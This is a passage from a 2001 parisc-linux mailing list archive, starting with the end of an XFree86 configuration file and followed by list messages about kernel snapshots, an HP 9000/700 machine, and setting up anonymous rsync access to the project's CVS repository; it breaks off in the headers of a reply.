# Uncomment this to disable tuning with the xvidtune client. With
# it the client can still run and fetch card and monitor attributes,
# but it will not be allowed to change them. If it tries it will
# receive a protocol error.

#    Option "DisableVidModeExtension"

# Uncomment this to enable the use of a non-local xvidtune client.

#    Option "AllowNonLocalXvidtune"

# Uncomment this to disable dynamically modifying the input device
# (mouse and keyboard) settings.

#    Option "DisableModInDev"

# Uncomment this to enable the use of a non-local client to
# change the keyboard or mouse settings (currently only xset).

#    Option "AllowNonLocalModInDev"

EndSection

# **********************************************************************
# Input devices
# **********************************************************************

# **********************************************************************
# Core keyboard's InputDevice section
# **********************************************************************

Section "InputDevice"

    Identifier  "Keyboard1"
    Driver      "Keyboard"
# For most OSs the protocol can be omitted (it defaults to "Standard").
# When using XQUEUE (only for SVR3 and SVR4, but not Solaris),
# uncomment the following line.

#    Option     "Protocol"      "Xqueue"

    Option "AutoRepeat" "500 30"

# Specify which keyboard LEDs can be user-controlled (eg, with xset(1))
#    Option     "Xleds"      "1 2 3"

#    Option "LeftAlt"     "Meta"
#    Option "RightAlt"    "ModeShift"

# To customise the XKB settings to suit your keyboard, modify the
# lines below (which are the defaults).  For example, for a non-U.S.
# keyboard, you will probably want to use:
#    Option "XkbModel"    "pc102"
# If you have a US Microsoft Natural keyboard, you can use:
#    Option "XkbModel"    "microsoft"
#
# Then to change the language, change the Layout setting.
# For example, a german layout can be obtained with:
#    Option "XkbLayout"   "de"
# or:
#    Option "XkbLayout"   "de"
#    Option "XkbVariant"  "nodeadkeys"
#
# If you'd like to switch the positions of your capslock and
# control keys, use:
#    Option "XkbOptions"  "ctrl:swapcaps"

# These are the default XKB settings for XFree86
#    Option "XkbRules"    "xfree86"
#    Option "XkbModel"    "pc101"
#    Option "XkbLayout"   "us"
#    Option "XkbVariant"  ""
#    Option "XkbOptions"  ""

#    Option "XkbDisable"

    Option "XkbRules"   "xfree86"
    Option "XkbModel"   "hphil"
    Option "XkbLayout"  "us"
#    Option "XkbVariant"        "nodeadkeys"

EndSection

# **********************************************************************
# Core Pointer's InputDevice section
# **********************************************************************

Section "InputDevice"

# Identifier and driver

    Identifier  "Mouse1"
    Driver      "mouse"
    Option "Protocol"    "PS/2"
    Option "Device"      "/dev/mouse"

# When using XQUEUE, comment out the above two lines, and uncomment
# the following line.

#    Option "Protocol"  "Xqueue"

# Baudrate and SampleRate are only for some Logitech mice. In
# almost every case these lines should be omitted.

#    Option "BaudRate"  "9600"
#    Option "SampleRate"        "150"

# Emulate3Buttons is an option for 2-button Microsoft mice
# Emulate3Timeout is the timeout in milliseconds (default is 50ms)

#    Option "Emulate3Buttons"
#    Option "Emulate3Timeout"    "100"

# ChordMiddle is an option for some 3-button Logitech mice

#    Option "ChordMiddle"

EndSection

# **********************************************************************
# Monitor section
# **********************************************************************

# Any number of monitor sections may be present

Section "Monitor"

    Identifier  "lcd"

    HorizSync   61-78
    VertRefresh 57-73
    UseModes     "Modes[1]"
EndSection

Section "Modes"
  Identifier   "Modes[1]"
  Modeline      "1280x1024" 135 1280 1344 1536 1728 1024 1027 1030 1085
EndSection

# **********************************************************************
# Graphics device section
# **********************************************************************

Section "Device"
    Identifier  "fbdev"
    Driver      "fbdev"
    #VideoRam    8192
    # Insert Clocks lines here if appropriate
EndSection

# **********************************************************************
# Screen sections
# **********************************************************************

# Any number of screen sections may be present.  Each describes
# the configuration of a single screen.  A single specific screen section
# may be specified from the X server command line with the "-screen"
# option.
Section "Screen"
    Identifier  "Screen 1"
    Device      "fbdev"
    Monitor     "lcd"
    DefaultDepth 8

    Subsection "Display"
        Depth       8
        Modes       "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       16
        Modes       "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       24
        Modes       "1024x768"
        ViewPort    0 0
    EndSubsection
EndSection

# **********************************************************************
# ServerLayout sections.
# **********************************************************************

# Any number of ServerLayout sections may be present.  Each describes
# the way multiple screens are organised.  A specific ServerLayout
# section may be specified from the X server command line with the
# "-layout" option.  In the absence of this, the first section is used.
# When now ServerLayout section is present, the first Screen section
# is used alone.

Section "ServerLayout"

# The Identifier line must be present
    Identifier  "Simple Layout"

# Each Screen line specifies a Screen section name, and optionally
# the relative position of other screens.  The four names after
# primary screen name are the screens to the top, bottom, left and right
# of the primary screen.  In this example, screen 2 is located to the
# right of screen 1.

    Screen "Screen 1"

# Each InputDevice line specifies an InputDevice section name and
# optionally some options to specify the way the device is to be
# used.  Those options include "CorePointer", "CoreKeyboard" and
# "SendCoreEvents".

    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"

EndSection


--------------090207000509040806010706--




From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180
Date: Thu, 15 Nov 2001 00:41:48 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20011115004148.C21312@dogbert.localdomain>
References: <1005763684.3bf2bc64ee2a9@webmail.tiscalinet.be> <200111141939.MAA09459@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="St7VIuEGZ6dlpu13"
X-Trace: ger.gmane.org 1416620751 29908 80.91.229.3 (22 Nov 2014 01:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 15:41:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B30F482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 15:41:40 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 1648iq-0004yQ-00
	for parisc-linux@lists.parisc-linux.org; Thu, 15 Nov 2001 00:41:32 +0200
Original-Received: (qmail 12295 invoked from network); 14 Nov 2001 22:41:12 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 14 Nov 2001 22:41:12 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 1648j6-0005ZB-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Nov 2001 00:41:48 +0200
Content-Disposition: inline
In-Reply-To: <200111141939.MAA09459@puffin.external.hp.com>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *1648iq-0004yQ-00*agKG5XdvPdU* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13042

--St7VIuEGZ6dlpu13
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

The latest snapshot on ftp.parisc-linux.org seems to be:

linux-20011108.tar.gz   08-Nov-2001 15:58  26.8M

Why aren't snapshots being generated automatically anymore? I don't have
access to CVS, so that's why I need the snapshots; and I guess someone
wanting to start keeping current with CVS would prefer downloading a
snapshot and updating that, rather than checking out from scratch?

Regards,

Albert

--St7VIuEGZ6dlpu13
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE78vMrDg+hOeRZtkMRAsESAJ4nTdLeO0UJCe7B6h+I6jhsSh/QBgCfRM0e
9u64wvF/49Adx8GDUSwZaio=
=ftHL
-----END PGP SIGNATURE-----

--St7VIuEGZ6dlpu13--



From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] {OT} HP 9000/700 Snake
Date: Wed, 14 Nov 2001 18:24:57 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20011114182457.C1525@daedalus.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620751 29909 80.91.229.3 (22 Nov 2014 01:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 16:25:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74A3A482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 16:25:03 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by daedalus.cs.brandeis.edu (8.9.3/8.9.3) id SAA01769
	for parisc-linux@lists.parisc-linux.org; Wed, 14 Nov 2001 18:24:57 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13043

I recently came into posession of a HP 9000/700 series (what's written
on the front plate).  I know nothing about it but that I believe that
it's codename was snake.  Can anyone tell me anything?
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: rsync for CVS repository (was: Re: [parisc-linux] 2.4.14-pa1 seems to works fine on my B180)
Date: Thu, 15 Nov 2001 00:51:08 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20011115005108.B464@lug-owl.de>
References: <1005763684.3bf2bc64ee2a9@webmail.tiscalinet.be> <200111141939.MAA09459@puffin.external.hp.com> <20011115004148.C21312@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620751 29912 80.91.229.3 (22 Nov 2014 01:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 16:51:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA55C482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 16:51:10 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id B279AA099; Thu, 15 Nov 2001 00:51:08 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20011115004148.C21312@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Operating-System: Linux mail 2.4.15-pre2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13044

On Thu, 2001-11-15 00:41:48 +0200, Albert Strasheim <fullung@ilink.nis.za>
wrote in message <20011115004148.C21312@dogbert.localdomain>:
> The latest snapshot on ftp.parisc-linux.org seems to be:
> 
> linux-20011108.tar.gz   08-Nov-2001 15:58  26.8M
> 
> Why aren't snapshots being generated automatically anymore? I don't have
> access to CVS, so that's why I need the snapshots; and I guess someone

...which remembers me that I emailed with Grant these days about
making the CVS repository available via rsync. He also thought that
that would be a nice thing to have... I volunteered to do the setup
if time is all off. How about that?

MfG, JBG

-- 
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	http://lug-owl.de/~jbglaw/software/snapshot2cvs/



From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: rsync for CVS repository
Date: Wed, 14 Nov 2001 18:05:07 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <200111150105.SAA09926@puffin.external.hp.com>
References: <jbglaw@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620752 29914 80.91.229.3 (22 Nov 2014 01:45:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 18:09:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0D4F482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 18:09:18 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA09926;
	Wed, 14 Nov 2001 18:05:07 -0700
In-Reply-To: Message from Jan-Benedict Glaw <jbglaw@lug-owl.de> 
   of "Thu, 15 Nov 2001 00:51:08 +0100." <20011115005108.B464@lug-owl.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13045

Jan-Benedict Glaw wrote:
> ...which remembers me that I emailed with Grant these days about
> making the CVS repository available via rsync. He also thought that
> that would be a nice thing to have... I volunteered to do the setup
> if time is all off. How about that?

I've heard nothing back about this.  Sorry - I can't autonomously give
out logins to the cvs machine or I would have already.
Do you have a URL for a short how-to?
I might take a crack at it if no one else with access speaks up.

grant



From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: rsync for CVS repository
Date: Wed, 14 Nov 2001 20:39:35 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <3BF31CD7.3080405@verizon.net>
References: <200111150105.SAA09926@puffin.external.hp.com>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620752 29916 80.91.229.3 (22 Nov 2014 01:45:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 18:38:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtppop3pub.verizon.net (smtppop3pub.gte.net [206.46.170.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id C87F3482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 18:38:23 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-224-254.pitt.east.verizon.net [151.201.224.254])
	by smtppop3pub.verizon.net  with ESMTP
	; id TAA58988503
	Wed, 14 Nov 2001 19:37:14 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13046

I set up my home computer as an rsync server to mirror some stuff to 
school. This is a PC running suse 7.2. If i remember correctly, the 
steps were:

1. Install it, of course.
2. Enable the server in /etc/inetd.conf

rsync   stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/rsyncd 
--daemon

3. Edit the configuration file, /etc/rsync.conf. Here is an example of 
an anonymous setting:

gid = users
uid = nobody
read only = true
use chroot = true
transfer logging = true
log format = %h %o %f %l %b
log file = /var/log/rsyncd.log

[Example]
        path = /home/Example
        comment = An Example

-- 
      Rafael




From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: rsync for CVS repository
Date: Wed, 14 Nov 2001 19:47:05 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <m164CYT-000PwuC@bame.riverrock.org>
References: <200111150105.SAA09926@puffin.external.hp.com>  <3BF31CD7.3080405@verizon.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620752 29920 80.91.229.3 (22 Nov 2014 01:45:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:52 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: raffo@neuronet.pitt.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 19:47:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BFED482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 19:47:07 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA05653;
	Wed, 14 Nov 2001 19:47:05 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m164CYT-000PwuC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <grundler@puffin.external.hp.com>; Wed, 14 Nov 2001 19:47:05 -0700 (MST) 
In-Reply-To: Your message of "Wed, 14 Nov 2001 20:39:35 EST."
             <3BF31CD7.3080405@verizon.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13047

4. Adjust, test, and maintain the firewall
5. Write and maintain a blurb for the parisc-linux.org web site so
   more than one person can use this.
6. Answer questions from people who don't know how to use rsync or
   who have problems.  Some people will try it because it's there, not
   because it is useful for them.

Sorry I was unresponsive about this but I'm just not real excited about
it.  I was tempted to say "find 3 more people who will say they will
use this service and then let's do it".

	-P



From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: rsync for CVS repository
Date: Wed, 14 Nov 2001 23:20:13 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <3BF3427D.3060304@verizon.net>
References: <200111150105.SAA09926@puffin.external.hp.com>  <3BF31CD7.3080405@verizon.net> <m164CYT-000PwuC@bame.riverrock.org>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620753 29924 80.91.229.3 (22 Nov 2014 01:45:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 21:18:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtppop3pub.verizon.net (smtppop3pub.gte.net [206.46.170.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DC9B482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 21:18:13 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-224-254.pitt.east.verizon.net [151.201.224.254])
	by smtppop3pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id WAA56850923
	Wed, 14 Nov 2001 22:17:51 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13048

Paul Bame wrote:

> 6. Answer questions from people who don't know how to use rsync or
>    who have problems.  Some people will try it because it's there, not
>    because it is useful for them.


I use this command:

cd /your/localCVScopy/      
rsync -avzc --progress --stats thepalinux.host.com::Example .


will retrieve the Example directory in archive and compressed mode, a 
little verbose too. Note that this will overwrite any modified file you 
have in your tree.

-- 
      Rafael




From - Thu Nov 08 21:20:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] {OT} HP 9000/700 Snake
Date: Thu, 15 Nov 2001 07:44:23 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20011115074423.A21827@dogbert.localdomain>
References: <20011114182457.C1525@daedalus.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="TB36FDmn/VVEgNH/"
X-Trace: ger.gmane.org 1416620753 29931 80.91.229.3 (22 Nov 2014 01:45:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 14 22:44:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DF17482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Nov 2001 22:44:14 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 164FJo-0001xD-00
	for parisc-linux@lists.parisc-linux.org; Thu, 15 Nov 2001 07:44:08 +0200
Original-Received: (qmail 12824 invoked from network); 15 Nov 2001 05:43:49 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 15 Nov 2001 05:43:49 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 164FK3-0005iD-00; Thu, 15 Nov 2001 07:44:23 +0200
Content-Disposition: inline
In-Reply-To: <20011114182457.C1525@daedalus.cs.brandeis.edu>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *164FJo-0001xD-00*HAsnOvufIK.* http://duncanthrax.net/exiscan/
